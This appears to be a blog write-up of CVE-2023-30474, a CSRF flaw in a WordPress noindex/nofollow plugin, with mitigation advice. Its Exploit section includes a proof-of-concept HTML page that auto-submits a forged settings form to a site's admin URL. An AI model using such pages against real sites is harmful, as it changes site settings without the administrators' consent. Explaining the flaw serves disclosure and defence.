A newly discovered vulnerability in the Kilian Evang Ultimate Noindex Nofollow Tool II Plugin (versions <= 1.3) has been assigned the identifier CVE-2023-30474. This post will provide an in-depth analysis of the vulnerability, including code snippets, links to original references, and exploit details. The vulnerability is categorized as Cross-Site Request Forgery (CSRF), which can allow attackers to perform unauthorized actions on a victim's behalf.

What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery, or CSRF, is a type of security vulnerability that enables attackers to force users to unwittingly execute malicious actions on a web application they're currently authenticated with. To better understand how CSRF can be exploited, consider a scenario where a user is logged in to their online banking account. An attacker could send the victim a malicious link or exploit an insecure webpage to trick the user into performing a transaction on the attacker's behalf.

Vulnerability Details

The Kilian Evang Ultimate Noindex Nofollow Tool II Plugin is designed to provide users with easy-to-use tools for adding "noindex" and "nofollow" tags to their website's web pages. The plugin is popular among SEO practitioners and website owners who want to prevent search engines from indexing certain pages or follow specific links.

The CSRF vulnerability exists in the plugin's settings update functionality. The settings update form does not include an anti-CSRF token, which is a standard security measure for preventing CSRF attacks. The lack of such a token allows an attacker to craft a malicious link that, when clicked by a victim with administrative privileges, modifies the plugin settings.

Consider the following code snippet from the vulnerable plugin

// File: ultimate-noindex-nofollow-tool-ii.php
...
if ( is_admin() ) {
    add_action( 'admin_menu', 'UltimateNoindexNofollowToolII_create_menu' );
    ...
    // Setup settings update functionality
    add_action( 'admin_init', 'UltimateNoindexNofollowToolII_register_settings' );
    ...
}
...
function UltimateNoindexNofollowToolII_update_options_callback() {
    ...
    update_option( 'UltimateNoindexNofollowToolII_options', $_POST['UltimateNoindexNofollowToolII_options'] );
}
...


This code sets up an action to run the update_options_callback() function when a form is submitted. However, the function does not check for the presence of an anti-CSRF token, resulting in the vulnerable code.

Exploit

An attacker could exploit this vulnerability by crafting a malicious HTML page containing JavaScript code that triggers the submission of the plugin settings update form. When a victim with administrative privileges visits this malicious web page, their browser will unwittingly execute the JavaScript code, thereby updating the plugin settings on the attacker's behalf.

For example, an attacker can create the following HTML page

<!DOCTYPE html>
<html>
<head>
    <title>Malicious Page</title>
</head>
<body>
    <h1>Malicious Page</h1>
    <form id="maliciousForm" action="http://example.com/wp-admin/options-general.php?page=ultimate-noindex-nofollow-tool-ii/ultimate-noindex-nofollow-tool-ii.php"; method="post">
        <input type="hidden" name="UltimateNoindexNofollowToolII_options[noindex][category]" value="yes" />
    </form>
    <script>
        document.getElementById('maliciousForm').submit();
    </script>
</body>
</html>

Mitigation

Users of the Kilian Evang Ultimate Noindex Nofollow Tool II Plugin (<= 1.3 versions) should update to the latest version to address the CSRF vulnerability. Plugin developers should also ensure their code includes proper anti-CSRF tokens or employs other security measures to prevent CSRF attacks.

Conclusion

Cross-Site Request Forgery vulnerabilities are widespread, and the CVE-2023-30474 at the Kilian Evang Ultimate Noindex Nofollow Tool II Plugin is an example of how these risks can be present even in widely used plugins. By staying vigilant and ensuring proper security measures are in place, the impact of CSRF attacks can be minimized, and users can continue to enjoy a safe and secure web experience.

References

CVE-2023-30474: [NVD - CVE-2023-30474](
https://nvd.nist.gov/vuln/detail/CVE-2023-30474)

Kilian Evang Ultimate Noindex Nofollow Tool II Plugin: [WordPress - Ultimate Noindex Nofollow Tool II](
https://wordpress.org/plugins/ultimate-noindex-nofollow-tool-ii/)

Cross-Site Request Forgery: [OWASP - CSRF](
https://owasp.org/www-community/attacks/csrf)

Timeline

Published on: 04/16/2023 08:15:00 UTC
Last modified on: 04/25/2023 20:29:00 UTC